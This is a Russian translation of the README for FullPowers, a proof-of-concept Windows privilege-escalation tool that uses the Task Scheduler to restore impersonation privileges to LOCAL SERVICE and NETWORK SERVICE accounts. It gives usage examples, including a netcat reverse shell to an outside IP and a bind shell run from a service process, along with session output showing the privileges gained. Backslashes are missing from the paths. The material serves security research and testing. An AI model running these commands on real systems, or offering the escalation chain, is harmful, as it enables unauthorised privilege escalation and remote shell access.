FullPowers — это инструмент для проверки концепции, который я создал для автоматического восстановления набора привилегий по умолчанию для учетной записи службы, включая SeAssignPrimaryToken и SeImpersonate .
В Windows некоторые службы, выполняемые как LOCAL SERVICE
или NETWORK SERVICE
настроены на запуск с ограниченным набором привилегий . Таким образом, даже если служба скомпрометирована, вы не получите золотых привилегий выдачи себя за другое лицо , а повышение привилегий до LOCAL SYSTEM
должно быть более сложным. Однако я обнаружил, что когда вы создаете запланированное задание , новый процесс, созданный службой планировщика задач, имеет все привилегии по умолчанию связанной учетной записи пользователя (кроме SeImpersonate ). Таким образом, с помощью некоторых манипуляций с токенами вы можете создать новый процесс со всеми недостающими привилегиями.
Использование
LOCAL SERVICE
или NETWORK SERVICE
.
Вы можете просмотреть справочное сообщение, используя опцию -h
.
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
Вы хотите протестировать этот PoC самостоятельно? Замечательно! Вот несколько простых инструкций, которые помогут вам начать.
Общая идея состоит в том, чтобы запустить связывающую оболочку из процесса существующей службы, подключиться к ней и затем запустить исполняемый файл.
Вам понадобятся два сторонних инструмента: netcat и RunFromProcess.
Выберите службу с ограниченными привилегиями, например: upnphost
.
Откройте Диспетчер задач , перейдите на вкладку «Службы» и получите PID соответствующего процесса.
Используйте следующую команду, чтобы запустить bindshell от имени администратора :
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
Используйте следующую команду для подключения к командной оболочке:
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
Мы видим, что текущий процесс не имеет привилегий олицетворения. Теперь запустите PoC...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Теперь у вас должна быть оболочка с привилегиями олицетворения !